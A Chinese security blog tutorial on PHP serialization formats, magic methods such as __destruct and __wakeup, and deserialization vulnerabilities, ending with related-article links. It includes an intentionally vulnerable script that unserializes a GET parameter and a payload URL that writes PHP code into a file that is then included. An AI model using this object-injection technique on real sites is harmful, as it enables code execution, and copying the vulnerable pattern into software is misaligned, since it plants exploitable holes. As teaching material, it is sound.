前言

这几天一直在关注新管状病毒,从微博到各大公众号朋友圈了解感觉挺严重的看微博感觉特别严重看官方说法感觉还行那就取中间的吧 自己要会对这个东西要有理性的判断。关注了好两天所以耽搁了学习emmm 希望病毒早点过去吧!

反序列化漏洞

序列化和反序列化

为了有效地存储或传递数据,同时不丢失其类型和结构,经常需要利用序列化和反序列化函数对数据进行处理。

反序列化函数返回字符串,此字符串包含了表示值的字节流,可以存储于任何地方

反序列化函数对单一的已序列化的变量进行操作,将其转换成员来的值

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性

PHP语言中常用的序列化和反序列化函数有serialize、unserialize、json_encode、json_decode

PHP序列化

1.serialize函数

serialize是序列化函数,PHP在序列化动作之前调用改对象的成员函数__sleep。这样就允许对象在被序列化之前做任何清除操作。’

(1)   NULL的序列化

在PHP中,NULL被序列化为N。

<?php

$str=NULL;

$xl_str=serialize($str);

print_r($xl_str);

?>

页面结果为: N;

(2)   Boolean型数据的序列化

Boolean型数据被序列化成b:<digit>。其中,<digit>表示0或1。当boolean型数据为false时,<digit>为0,否则为1

<?php

$str1=true;

$str2=false;

$xl_str1=serialize($str1);

$xl_str2=serialize($str2);

print_r($xl_str1."<br>");

print_r($xl_str2);

?>

页面结果为:
b:1;
b:0;

(3)   Integer型数据的序列化

Interger型(整型)数据被序列化为i:<number>.其中<number>为一个整型数,范围为:-2147483648——2147483647,如果被序列化的数字超过这个范围,则会被序列化为浮点型而不是整型。如果序列化后的数字超过这个范围,则反序列化时不会反悔期望的数值(PHP本身序列化时不会发生这个问题)

<?php

$str1=123;

$xl_str1=serialize($str1);

print_r($xl_str1);

?>

页面显示为:i:123;

(4)   Double型数据的序列化

Double型(浮点型)数据被序列化为d:<number>。其中<number>为一个浮点数,其范围与PHP的浮点数范围一样,可以表示成整数形式、浮点数形式和科学计数法形式。如果序列化无穷大,则<number>为INF;如果序列化负无穷大则<number>为-INF。如果序列化后的数字超过PHP能表示的最大值,则反序列化时返无穷大(INF);如果如果序列化的数据为非数字,则被序列化为NAN,NAN反序列化时返回0,其他语言可以将NAN反序列化为相应的语言所支持的NAN表示形式

<?php
$double1=1.23;
$xl_str1=serialize($double1);
print_r($xl_str1);
?> 页面显示为:d:1.23;

(5)   String型数据的序列化

String型(字符串型)数据序列化为s:<length>:”<value>”

<?php
$str1="test xiaohua";
$xl_str1=serialize($str1);
print_r($xl_str1);
?> 页面显示结果为:s:12:"test xiaohua";

(6)   数组的序列化

数组序列化通常被序列化为

a:<n>:{<key 1><value 1><key 2><value 2><key3><value 3><key 4><value 4>…}

<n>表示数组个数

<key>表示数组下标

<value>表示与下标相对应的数组元素值

<?php
$shu=array('xiaohua1','xiaohua2','xiaohua3');
$xl_str1=serialize($shu);
print_r($xl_str1);
?> 页面显示结果:a:3:{i:0;s:8:"xiaohua1";i:1;s:8:"xiaohua2";i:2;s:8:"xiaohua3";}

(7)   对象的序列化

对象通常被序列化称:

O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}

<length>:对象类名字符串长度

<class name>:对象的类名

<n>:对象中字段数 包括var、protected、private、public声明的字段,不包括static和const声明的静态字符串

<field name 1><field value 1>:每个字段对应的每个字段名

<?php
class xiaohua{
public $str='xiaohua';
public $str2="huahua";
function Func(){
print("this is Func''");
}
} $aaa=new xiaohua;
$se=serialize($aaa);
print $se; ?> 页面显示结果:
O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";}
s:3:"str";s:7:"xiaohua";

解读:s表示字符串类型,3是字段值长度 字段名称是str。s表示字符串7表示字段值长度 字段名称是xiaohua

PHP反序列化

反序列化

unserialize是反序列化函数

若被序列化的变量是一个对象,在重新构造对象之后,会自动调用__wakeup成员函数(如果存在)

<?php

class xiaohua{

       public $str='xiaohua';

       public $str2="huahua";

       function Func(){

              print("this is Func''");

       }

}

$aaa=new xiaohua;

$se=serialize($aaa);

$stra='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} ';

$stra=unserialize($stra);

var_dump($stra);

?>

页面显示结果:object(xiaohua)#2 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" }

反序列化漏洞利用

反序列化漏洞利用

反序列化漏洞产生主要原因:
(1)unserialize函数的参数可控

(2)存在魔法函数

1.__construct函数和__destruct函数

void __construct([mixed $args[,$...]])

PHP5允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新的对象时先调用此方法,所以__construct函数非常适合在使用对象之前做一些初始化工作。

__destruct函数

void __destruct(void)

PHP5引入了析构函数的概念,这类似于其他面向对象的语言,如C++.析构函数会在对某个对象的所有引用都被删除或者对象被显式销毁时执行

示例代码:

 1 <?php
2 class xiaohua{
3
4 function __construct(){
5
6 print "In construct <br>";
7
8 $this->name="my xiaohua";
9
10 }
11
12 function __destruct(){
13
14 print "Destruct<br>" .$this->name."\n";
15
16 }
17
18 }
19
20 $obj=new xiaohua();
21
22 ?>
25 执行结果:
26 In construct
27 Destruct
28 my xiaohua

创建xiaohua类的新对象时,会调用__construct函数,输出 In construct;对象被销毁时,会调用__destruct函数输出 Destruct my xiaohua

2.__sleep函数和__wakeup函数

__sleep函数

Serialize函数会坚持类中是否存在__sleep函数,如果存在函数会先被调用,然后执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称数组。如果该函数未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误.

  __sleep函数不能返回父类的私有成员的名字,会产生E_NOTICE错误,该函数可以用serializable接口替代。

__sleep函数常用于提交未提交的数据或进行类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,则使用此功能比较好。

__wakeup函数

Unserialize函数会检查是否存在__wakeup函数。如果存在,则会先调用__wakeup函数,预先准备对象需要的资源。

  __wakeup函数经常用在反序列化操作中,例如,重新建立数据连接或者性其他初始化操作。

 1 <?php
2
3 class xiaohua{
4
5 function huahua(){
6
7 $this->name="huahua";
8
9 print $this->name;
10
11 }
12
13 function __wakeup(){
14
15 echo "wakeup <br>";
16
17 }
18
19 function __sleep(){
20
21 echo "<br> sleep <br>";
22
23 return array('name');
24 }
25
26 }
27
28 $sst='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} ';
29 $sst=unserialize($sst);
30 var_dump($sst);
31 $xiaohua1=new xiaohua;
32 $xiaohua1->name="bobo";
33 $sr=serialize($xiaohua1);
34 print $sr;
35
36 ?>
37 执行结果:
38 wakeup
39 object(xiaohua)#1 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" }
40 sleep
41 O:7:"xiaohua":1:{s:4:"name";s:4:"bobo";}

反序列化后,会自动调用__wakeup函数,输出wakeup。序列化对象后,会自动调用__sleep函数输出sleep

反序列化漏洞代码分析

反序列化漏洞代码分析

 1 <?php
2 highlight_file(__FILE__);
3 class a{
4 var $test='hello';
5 function __destruct(){
6 $fp=fopen("C:\phpStudy\PHPTutorial\WWW\hua.php","w");
7 print "===".$this->test;
8 fputs($fp,$this->test);
9 fclose($fp);
10 }
11 }
12
13 $class=stripslashes($_GET['re']);
14 print $class;
15 $class_unser=unserialize($class);
16 require 'C:\phpStudy\PHPTutorial\WWW\hua.php';
17 ?>

漏洞分析:

(1)    unserialize函数的参数$class可控

(2)    存在__destruct函数,此函数会将$this->test的值写入C:\phpStudy\PHPTutorial\WWW\hua.php文件

漏洞利用

通过参数re传入的值要实例化a,并且改变$test的值。因为__destruct函数可以将$test的值写入hua.php文件中,所以可以利用该函数将PHP代码传入hello.php文件中。

 1 <?php
2 class a{
3 var $test='<?php phpinfo();?>';
4 }
5 $a=new a();
6 $class_sere=serialize($a);
7 print_r($class_sere)
8 ?>
9 执行结果:
10 O:1:"a":1:{s:4:"test";s:22:"<?php%20phpinfo();?>";}

pyload:

http://127.0.0.1/test.php?re=O:1:"a":1:{s:4:"test";s:22:"<?php%20phpinfo();?>";}

参考学习:《web安全原理分析与实践》

  https://www.freebuf.com/vuls/116705.html

[web安全原理]PHP反序列化漏洞的更多相关文章

  1. Web安全之PHP反序列化漏洞

    漏洞原理: 序列化可以将对象变成可以传输的字符串,方便数据保存传输,反序列化就是将字符串还原成对象.如果web应用没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被控制,就会造成代码执行, ...

  2. [web安全原理分析]-SSRF漏洞入门

    SSRF漏洞 SSRF漏洞 SSRF意为服务端请求伪造(Server-Side Request Forge).攻击者利用SSRF漏洞通过服务器发起伪造请求,就这样可以访问内网的数据,进行内网信息探测或 ...

  3. [web安全原理分析]-XEE漏洞入门

    前言 1 前言 XXE漏洞 XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致 ...

  4. web安全原理-文件包含漏洞

    前言 起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了  拿出买的书开始从头学习总结文件包含漏洞! 一.文件包含漏洞 文件包含漏洞 文件包含函数的参数没有经过过滤或者严格的 ...

  5. Java反序列化漏洞从入门到深入(转载)

    前言 学习本系列文章需要的Java基础: 了解Java基础语法及结构(菜鸟教程) 了解Java面向对象编程思想(快速理解请上知乎读故事,深入钻研建议买本<疯狂Java讲义>另外有一个刘意老 ...

  6. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  7. 浅谈PHP反序列化漏洞原理

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...

  8. 强网杯web之假的反序列化漏洞

    说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...

  9. [web安全原理]PHP命令执行漏洞基础

    前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...

随机推荐

  1. 总结2020最新50道Python面试题集锦(附答案)

    Python是目前编程领域最受欢迎的语言.在本文中,我将总结Python面试中最常见的50个问题.每道题都提供参考答案,希望能够帮助你在2019年求职面试中脱颖而出,找到一份高薪工作.这些面试题涉及P ...

  2. pxe装机部署

    批量全自动安装操作系统 dhcp:自动分配IP tftp:微系统安装系统 httpd:网络源 检查环境(永久性关闭selinux) setenforce 0 sed -i s/=enforcing/= ...

  3. 【转】Optimized Surface Loading and Soft Stretching

    FROM:http://lazyfoo.net/tutorials/SDL/05_optimized_surface_loading_and_soft_stretching/index.php Opt ...

  4. kong in kubernetes

    网关 这里提到的网关特指API网关.API网关是在微服务架构的演进过程中产生的,其核心功能是聚合后端服务,为客户端调用提供统一的门户.由于网关的集中式管理,在其上又衍生了限流.负载.路由管理.安全防护 ...

  5. Java到处运行的基础之 Class 文件

    Java 实现一次编译到处运行的基础,来源于 Java 虚拟机屏蔽了操作系统的底层细节.使用 class 文件存储编译后的源程序,使得 Java 程序的编译与操作系统解耦.正是因为 Java clas ...

  6. NLP文本多标签分类---HierarchicalAttentionNetwork

    最近一直在做多标签分类任务,学习了一种层次注意力模型,基本结构如下: 简单说,就是两层attention机制,一层基于词,一层基于句. 首先是词层面: 输入采用word2vec形成基本语料向量后,采用 ...

  7. echarts legend 图例文字闪烁显示

    最近同事小夏遇到一个需求:客户要求echarts图表上指定的图例文字闪烁显示. 先放一张图: 客户要求:待处理字样要闪动显示. 小夏一番百度之后,求助于我:快来看看,怎么有客户提这种百度都百度不到答案 ...

  8. Git使用push命令卡住?

    为什么Git用ssh连不上GitHub,push就卡住,而用HTTPS可以连接.上一次用Git的ssh连接时候还可以,这段时间再重新使用Git却发现ssh方式push到Git,每次一push就卡住,找 ...

  9. 我用 Python 找出了删除我微信的所有人并将他们自动化删除了

    1. 概述 不知你是否遇到过在微信上给通讯录中的某个人发消息,结果出现了这一幕: 平时一直认为自己的心里素质过硬,不过遇到这种情况 ... 在我缓了半个钟头(半分钟)之后,缓缓拿出了手机,打开微信,找 ...

  10. find命令的简单使用

    Find命令 格式:find [option] [Path] [筛选条件] [处理动作] Path:默认当前目录 筛选条件:对文件/目录设置筛选条件 处理动作:默认显示所有文件 筛选条件: -name ...